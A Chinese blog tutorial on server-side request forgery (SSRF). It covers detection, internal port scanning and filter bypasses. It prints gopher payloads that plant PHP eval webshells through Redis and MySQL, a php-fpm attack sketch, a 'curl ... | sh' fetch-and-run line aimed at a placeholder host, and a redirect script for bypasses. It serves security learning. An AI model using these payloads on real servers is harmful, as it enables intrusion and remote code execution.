当前位置: 首页 > news >正文

SSRF (服务端请求伪造)

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

c9b349d844784b9c920902604a87df86.png

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

 

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习...

目录

SSRF

特点:

条件:

判断:

URL格式:

SSRF的利用面:

1 任意文件读取

2 探测内网资源

3 使用gopher协议扩展攻击面

ssrf端口开放检测脚本:

redis 6379 :

 mysql 3306:

 php-fpm:

Gopherus-master工具(py2) 

 php原生类进行ssrf

ssrf绕过:

1 enclosed alphanumerics 绕过:

2 使用IP地址转换

3 特殊语法绕过

4 如果对方可以接受302跳转,并且跟进302跳转

302.php 

5 利用短网址绕过


 

SSRF

Server-side Request Forgery 服务端请求伪造.攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求--
以便获取服务端网络内部的资源一句话总结:
控制服务端使用指定协议访问指定的url

特点:

1 让别人访问我们访问不到的url
2 拿到自己本来拿不到的数据

条件:

1 别人能帮我访问url 服务端有接受url地址并进行访问的功能(请求是服务端发起的)
2 url地址外部可控

判断:

9394c8fe13b94995bdab7a82d2404ef7.png

https://xxx.com/index.php?url=http://www.baidu.com
//index.php-->
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转
?>
是不是属于ssrf?
========================
告诉浏览器,你去访问这个地址 
此时,浏览器,是客户端还是服务端?客户端   
此时,服务器没有访问这个Url,只是告诉你浏览器,去跳转到这个地址去
是浏览器去访问,不是服务端去访问(location)
所以,不是SSRF
只能算 任意跳转漏洞
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转//服务端访问(php代码)
echo file_get_contents("$url");

分清  是否是ssrf?
url地址可控

http://10.xx.xx.xx/        
file:///etc/passwd


URL格式:

URL = scheme:[//authority]path[?query][#fragment]
schema: 协议头
://
authority 
[userinfo@]host[:port]
默认使用80端口,而80端口默认情况下,是可以省略http://www.baidu.com/robots.txt
--->
本质,就是 通过指定的协议,访问互联网上某台服务器的某个资源或者某个文件
默认使用匿名账户访问---
userinfo: username:password@hostschema://username:password@host:port/path?a=b#top
http://ctfer:hacker@www.baidu.com/robots.txt     //任意匿名都能访问

必须知道要读的文件名(通配符不支持)


SSRF的利用面:

1 任意文件读取

--前提是知道要读取的文件名

2 探测内网资源

127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问
0.0.0.0 表示允许任意ip访问
192.168.233.233 只允许特定的IP地址访问
(探测到此服务器同内网的服务器)

3 使用gopher协议扩展攻击面

// 只负责将数据转发到某端口.

 apache/nginx 80tomcat 8080node 3000flask 8080php-fpm 9000mysql 3306ftp 21ssh 22redis 6379#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口

ssrf端口开放检测脚本:

import requests
url = "<ssrf入口网址>"
# 端口自己变
ports = [21,22,80,443,3389,1433,3306,6379]
for p in ports:try:data={"url":f"gopher://127.0.0.1:{p}/"}response = requests.post(url=url,data=data,timeout=2) #超时2秒就认为端口开了.except:print(f"端口{p}开放")

file:///etc/nginx/nginx.conf 


redis 6379 :

支持key-value  gopher://127.0.0.1:6379/_save_/var/www/html/1.php_<?php eval($_POST[1]);?>

 mysql 3306:

用户密码为空 select '<?php eval($_POST[1];?>)'

 php-fpm:

php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问主要负责对.php文件的代码解释执行  
----->我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
----通过向9000端口发送php执行请求设置php.ini中的运行参数其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项curl http://your-shell.com/IP:PORT |sh

 


 

Gopherus-master工具(py2) 

ssrf----生成数据库...的payload
实战时注意二次编码等等

27e1b25104df4db78f3c79f21c38fd5e.png


 php原生类进行ssrf

php_soap

php_soap
php -m   //查看安装的插件,扩展$soap = new SoapClient($_GET['url']);
$soap->hack();  //访问任意不存在方法。
//$soap->__call() //不存在就调用__call方法--访问不存在的地址,
--只支持http
url可控时,可以发送内网请求

 

ssrf绕过:

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1 enclosed alphanumerics 绕过:

127.0.0.1 -> 127.⓿.⓿.1
(有些环境 Linux可用)


2 使用IP地址转换

IP地址十六进制、二进制、十进制转换-ME2在线工具

在线IP地址转八进制数字 - 八进制转IP地址 - IP转八进制在线工具—LZL在线工具

https://www.metools.info/other/ipconvert162.html
https://lzltool.cn/Tools/IpToOct
所有的域名->IP  
ip可以使用不同进制来表示 127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001 
- 7F000001 16进制   http://0x7F000001 
-二进制不行.

3 特殊语法绕过

Windows 下 0 代表的是0.0.0.0 
而Linux 下 0 代表的是127.0.0.1127.0.0.1 可以省略为 127.1	(省略)
127。0。0。1 可以替代127.0.0.1	(中文点)

4 如果对方可以接受302跳转,并且跟进302跳转

可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
--把要构建的要素发给302跳转,让它帮我们组装一个.302.php  //服务端接受302跳转,我们跟进一下.

302.php 

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  header("Location: $schema://$ip/$query"); 
} else {header("Location: $schema://$ip:$port/$query"); 
}

5 利用短网址绕过

在线短链接生成工具 - 免费短网址转换 - toolfk

https://toolfk-api.xiuxiandou.com/zh-cn/tools/short-url.html
baidu.com  不允许出现baidu或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

 


 

 

相关文章:

SSRF (服务端请求伪造)

&#x1f3bc;个人主页&#xff1a;金灰 &#x1f60e;作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持&#xff01;❤️ &#x1f34a;易编橙终身成长社群&#…...

SQL中的LEFT JOIN、RIGHT JOIN和INNER JOIN

在SQL中&#xff0c;JOIN操作是连接两个或多个数据库表&#xff0c;并根据两个表之间的共同列&#xff08;通常是主键和外键&#xff09;返回数据的重要方法。其中&#xff0c;LEFT JOIN&#xff08;左连接&#xff09;、RIGHT JOIN&#xff08;右连接&#xff09;和INNER JOIN…...

[网鼎杯 2020 朱雀组]Nmap(详细解读版)

这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过&#xff0c;可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org) 两种解题方法&#xff1a; 第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…...

【React】详解“最新”和“最热”切换与排序

文章目录 一、基本概念和初始化二、切换与排序功能的实现1. 函数定义和参数2. 设置活动 Tab3. 定义新列表变量4. 根据排序类型处理列表4.1 按时间降序排序4.2 按点赞数降序排序 5. 更新评论列表 三、渲染导航 Tab 和评论列表1. map 方法2. key 属性3. className 动态赋值4. onC…...

BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了&#xff0c;一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程&#xff0c;简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路&#xff1a;接收参数反序列化之前先触发…...

RV1126 Linux 系统,接外设,时好时坏(一)应该从哪些方面排查问题

在 Linux 系统中接外设时,遇到“时好时坏”的问题,可能是由多种因素引起的。以下是一些排查问题的建议。 1. 硬件方面的排查 1.1 连接检查 物理连接: 确保外设与主板之间的连接良好,检查插头、插座及线缆是否牢固。引脚配置: 确认设备树中引脚的配置是否正确,尤其是引脚…...

Vue实现简单小案例

一、创建文件夹 二、引用vue.js <script src"../js/vue.js"></script> 三、准备一个容器 <div id"app"><h1>Hello,{{name}}</h1> </div> 四、创建实例 <script>new Vue({el:"#app", //el用于指…...

【MATLAB APP】建立独立桌面APP

背景&#xff1a;已有MATLAB APP的.mlapp文件&#xff0c;但客户提出需要可以直接使用的exe文件。 要求&#xff1a;点开即用&#xff0c;无需下载MATLAB。使用者无法修改APP的代码。 一、环境配置 APP创建者&#xff1a;安装MATLAB R2023a&#xff0c;配置Application Compile…...

Spring的优缺点?

Spring的优缺点 直接回答相关的Spring的特点&#xff1a; IOC AOP 事务 简化开发&#xff1a; 容易集成JDBCTemplateRestTemplate&#xff08;接口远程调用&#xff09;邮件发送相关异步消息请求支持 更加深入就讲源码了 优点&#xff1a; 方便解耦&#xff0c;简化开发…...

第一百八十三节 Java IO教程 - Java目录事件、Java异步I/O

Java IO教程 - Java目录事件 当文件系统中的对象被修改时&#xff0c;我们可以监听watch服务以获取警报。 java.nio.file包中的以下类和接口提供watch服务。 Watchable接口WatchService接口WatchKey接口WatchEvent接口WatchEvent.Kind接口StandardWatchEventKinds类 可监视对…...

【设计模式】(万字总结)深入理解Java中的创建型设计模式

1. 前言 在软件开发的世界里&#xff0c;设计模式是一种被广泛接受并应用的解决方案。它们不仅仅是代码的设计&#xff0c;更是对问题的思考和解决的方法论。在Java开发中&#xff0c;特别是在面向对象的编程中&#xff0c;设计模式尤为重要。创建型设计模式&#xff0c;作为设…...

【全面讲解下Docker in Docker的原理与实践】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 👉目录 👉前言👉原理👉实践👉安全和最佳实践👉前言 🦛…...

Android Settings增加多击事件,增加开发者模式打开难度

软件平台&#xff1a;Android11 硬件平台&#xff1a;QCS6125 需求来源&#xff1a;用户通过系统异常崩溃&#xff0c;进入原生Settings页面&#xff0c;通过默认的多击版本号方式打开开发者模式&#xff0c;继而打开adb调试开关&#xff0c;安装三方apk。 对付这种需求本来有…...

【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数

想着整理下相机模型&#xff08;内容上参考 slam十四讲&#xff09;、相机的内外参标定。方便自己的使用和回顾。 不过&#xff0c;内外参标定啥时候记录随缘 -_- 概述 【构建相机模型】 相机将三位世界中的坐标点&#xff08;单位为米&#xff09;映射到二维图像平面&#xff…...

Linux内核netlink机制 - 用户空间和内核空间数据传输

简介&#xff1a; Netlink socket 是一种Linux特有的socket&#xff0c;用于实现用户空间与内核空间通信的一种特殊的进程间通信方式(IPC) &#xff0c;也是网络应用程序与内核通信的最常用的接口。 Netlink 是一种在内核和用户应用间进行双向数据传输的非常好的方式&a…...

Node.js自动化处理TOML文件

在软件开发过程中&#xff0c;自动化处理配置文件是一种常见的需求。TOML&#xff08;Tom’s Obvious, Minimal Language&#xff09;是一种用于配置文件的简单易读的格式。本文将展示如何使用Node.js和一些流行的库来自动化读取、修改并写入TOML文件。 1. 准备工作 在开始之前…...

Spring boot 后端向前端发送日期时间发现少了8小时

问题 数据库 后端的控制台输出 前端控制台输出 可以发现少了8小时 问题 springboot 向前端响应数据是默认 Json 格式&#xff0c;所以会有类型转换&#xff0c;springboot 就通过 Jackson 来对 data 类型数据进行转换&#xff0c;但是Jackson 类型的时区是 GMT&#xff0c;与…...

MySQL数据库(基础篇)

&#x1f30f;个人博客主页&#xff1a;心.c 前言&#xff1a;今天讲解的是MySQL的详细知识点的&#xff0c;希望大家可以收货满满&#xff0c;话不多说&#xff0c;直接开始搞&#xff01; &#x1f525;&#x1f525;&#x1f525;文章专题&#xff1a;MySQL &#x1f63d;感…...

ffmpeg ffplay.c 源码分析二:数据读取线程

本章主要是分析 数据读取线程read_thread 中的工作。如上图红色框框的部分 从ffplay框架分析我们可以看到&#xff0c;ffplay有专⻔的线程read_thread()读取数据&#xff0c; 且在调⽤av_read_frame 读取数据包之前需要做&#xff1a; 1.例如打开⽂件&#xff0c; 2.查找配置解…...

国科大作业考试资料《人工智能原理与算法》2024新编-第十三次作业整理

1、假设我们从决策树生成了一个训练集&#xff0c;然后将决策树学习应用于该训练集。当训练集的大小趋于无穷时&#xff0c;学习算法将最终返回正确的决策树吗&#xff1f;为什么是或不是&#xff1f; 本次有两个参考&#xff1a; 参考一&#xff1a; 当训练集的大小趋于无穷…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 &#xff08;忘了有没有这步了 估计有&#xff09; 刷机程序 和 镜像 就不提供了。要刷的时…...

Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!

一、引言 在数据驱动的背景下&#xff0c;知识图谱凭借其高效的信息组织能力&#xff0c;正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合&#xff0c;探讨知识图谱开发的实现细节&#xff0c;帮助读者掌握该技术栈在实际项目中的落地方法。 …...

NFT模式:数字资产确权与链游经济系统构建

NFT模式&#xff1a;数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新&#xff1a;构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议&#xff1a;基于LayerZero协议实现以太坊、Solana等公链资产互通&#xff0c;通过零知…...

Web 架构之 CDN 加速原理与落地实践

文章目录 一、思维导图二、正文内容&#xff08;一&#xff09;CDN 基础概念1. 定义2. 组成部分 &#xff08;二&#xff09;CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 &#xff08;三&#xff09;CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 &#xf…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...